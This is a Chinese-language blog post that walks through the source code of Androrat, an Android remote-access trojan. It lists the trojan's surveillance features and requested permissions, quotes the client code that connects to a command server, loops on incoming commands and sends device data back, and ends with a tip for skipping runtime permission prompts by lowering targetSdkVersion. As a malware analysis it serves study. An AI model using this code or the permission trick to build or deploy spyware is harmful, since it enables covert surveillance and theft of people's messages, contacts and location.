Android木马——Androrat源码解析

作者: 正规程序员 | 来源:发表于2018-05-28 17:05 被阅读49次

    Androrat原本是一个对Android设备进行远程管理的工具,相当于是一个木马程序。

    Androrat的工作模式是C/S模式。在Android设备上安装Androrat的Client端,在服务器上配置Server端。Client端循环捕获从Client发送的指令,并做相应的操作,完成之后返回给Server数据,Server端负责展示接收的数据。

    因此,Client端需要配置Server端的ip和port,配置相应的权限(Android API 23以上需要动态申请权限),开启服务Service。

    主要功能

    • 获取通讯录信息
    • 获取呼叫记录
    • 获取短信和彩信
    • 通过 GPS 获取定位
    • 实时监控接收到的短信
    • 监控手机的呼叫状态
    • 拍照
    • 获取来自麦克风的声音信息
    • 视频
    • 弹窗
    • 发送文本消息
    • 拨号
    • 在浏览器中打开某个网址
    • 震动

    Androrat 核心模块

    Android端需申请的权限

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> 
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    

    从上面可知,这些权限包括通话、短信,相机,联网,位置,录音,读写,开机启动,通讯录等。在兼容Android API 23以上版本时,需要添加权限检测及动态权限申请逻辑方可正常使用。

    LauncherActivity

    此类为启动类,主要职责是开启Client服务。Client端手动配置IP和Port。

    Client = new Intent(this, Client.class);
    Client.setAction(LauncherActivity.class.getName());
    
    btnStart.setOnClickListener(new View.OnClickListener() {
          public void onClick(View view) {
               Client.putExtra("IP", ipfield.getText().toString());
               Client.putExtra("PORT", new Integer(portfield.getText().toString()));
               startService(Client);
               btnStart.setEnabled(false);
               btnStop.setEnabled(true);
               //finish();                
           }
    });
    

    Client

    onCreate()方法实例化SystemInfo、ProcessCommand类。

    public void onCreate() {
            Log.i(TAG, "In onCreate");
            infos = new SystemInfo(this);
            procCmd = new ProcessCommand(this);
            
            loadPreferences();
    }
    

    SystemInfo类:获取设备基本信息;
    ProcessCommand类:处理从Server端发来的指令;
    loadPreferences():初始化ip、port,设置通话白名单、短信白名单和短信内容关键字拦截等。

    onStartCommand()内代码太长,此处分步解析。

    从Intent中获取ip,port。

    f(intent == null)
        return START_STICKY;
    String who = intent.getAction();
    Log.i(TAG, "onStartCommand by: "+ who); 
     
    if (intent.hasExtra("IP"))
        this.ip = intent.getExtras().getString("IP");
    if (intent.hasExtra("PORT"))
        this.port = intent.getExtras().getInt("PORT");
    

    监听广播,建立client与server端连接,发送设备基本信息。具体逻辑已在源码中//注释。

    if(!isRunning) {
        //广播监听网络变化
        IntentFilter filterc = new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE");
        registerReceiver(ConnectivityCheckReceiver, filterc);
        isRunning = true;
    
        //Connection负责通过socket与server端连接
        conn = new Connection(ip,port,this);
         
        if(waitTrigger) {
             //注册来电、短信监听
             registerSMSAndCall();
        }else {
            Log.i(TAG,"Try to connect to "+ip+":"+port);
            if(conn.connect()) {
                //实例化CommandPacket,处理服务端指令
                packet = new CommandPacket();
                
                //异步循环捕获server发出的指令,之后在Handler中处理指令
                readthread = new Thread(new Runnable() { 
                    public void run() { 
                        waitInstruction(); 
                    } 
                });
                readthread.start(); 
                
                //给server端发送设备基本信息
                CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
                handleData(0,pack.build()); 
                                
                //gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4); 
                isListening = true;
                if(waitTrigger) {
                    //若已设置来电、短信监听触发client服务启动,则此处无需监听,可断开
                    unregisterReceiver(SMSreceiver); 
                    unregisterReceiver(Callreceiver);
                    waitTrigger = false;
                }
            }else {
                if(isConnected) {
                    //重设,重连 
                    resetConnectionAttempts();
                    reconnectionAttempts();
                }else { 
                    Log.w(TAG,"Not Connected wait a Network update");
                }
            }
        }
    }
    

    isRunning为false的分支逻辑相似,连接服务器、获取指令,重连(无重设)。

    waitInstruction()方法循环捕获从server端发来的指令。

    public void waitInstruction() { 
        try {
            for(;;) {
                if(stop){
                     break;
                }
                //接收服务器指令  
                conn.getInstruction() ;
            }
        }catch(Exception e) { 
            isListening = false;
            resetConnectionAttempts();
            reconnectionAttempts();
            if(waitTrigger) {
                registerSMSAndCall();
            }
        }
    }
    

    Connection类的getInstruction()方法:读取缓冲区数据并解码。

    public ByteBuffer getInstruction() throws Exception{
            readInstruction = receive.read();
            if(dem.receive(readInstruction)){
                readInstruction.compact();
            }else{
                readInstruction.clear();
            }
            return readInstruction;
        }
    

    waitInstruction()所在线程捕获指令后,通过接口回调给Handler发送数据。

    @Override
    public void Storage(TransportPacket p, String i) {
            try{
                packet = new CommandPacket(); 
                packet.parse(p.getData());
                
                Message mess = new Message();
                Bundle b = new Bundle();
                b.putShort("command", packet.getCommand());
                b.putByteArray("arguments", packet.getArguments());
                b.putInt("chan", packet.getTargetChannel());
                mess.setData(b);
                handler.sendMessage(mess);
            }catch(Exception e){
                System.out.println("Androrat.Client.storage : pas une commande");
            }       
        }
    

    Handler接收数据

    private Handler handler = new Handler() {
         
        public void handleMessage(Message msg) {
            Bundle b = msg.getData();
            processCommand(b);
        }
    };
    

    processCommand()方法中调用ProcessCommand类的process()方法匹配对应指令并处理

        public void processCommand(Bundle b){
            try{
    procCmd.process(b.getShort("command"),b.getByteArray("arguments"),b.getInt("chan"));
            }catch(Exception e) {
                sendError("Error on Client:"+e.getMessage());
            }
        }
    

    ProcessCommand类的process()就是if-else判断不同指令并做相应处理。

    Library包介绍

    • SystemInfo:获取设备的基本信息;
    • AdvancedSystemInfo:获取设备的一些详细信息,点击设备项之后会看到的信息;
    • SMSLister:列举手机里的短信;
    • SMSMonitor:实时监控手机来短信;
    • CallLogLister:获取通话记录;
    • CallMonitor:实时监控手机的来电去电状态;
    • ContactsLister:获取手机通讯录;
    • DirLister:列举外部设备的文件目录;
    • FileDownloader:读取这些文件的内容然后发送给服务器端展示;
    • PhotoTaker:拍照;
    • AudioStreamer:获取媒体数据流;
    • GPSListener:实时获取设备的精确位置;

    绕过动态权限申请的小窍门

    突然发现该源码中的Androrat.apk运行在 Android 8.0手机上可以绕过权限动态申请。反编译该apk后发现,其targetSdkVersion设置< 23了。。。。。

    补充知识点:
    targetSdkVersion 是 Android 系统提供前向兼容的主要手段。随着 Android 系统的升级,某个系统的 API 或者模块的行为可能会发生改变,但只要 APK 的 targetSdkVersion 不变,即使这个 APK 安装在新 Android 系统上,其行为还是保持老的系统上的行为,这样就保证了系统对老应用的前向兼容性。

    所以,如果要绕过动态权限申请,可以设置targetSdkVersion < 23 ,但是同时也意味着妳的APP将无法使用最新的API的特性。

    引用

    Androrat

    相关文章

      网友评论

        本文标题:Android木马——Androrat源码解析

        本文链接:https://www.haomeiwen.com/subject/umdsrftx.html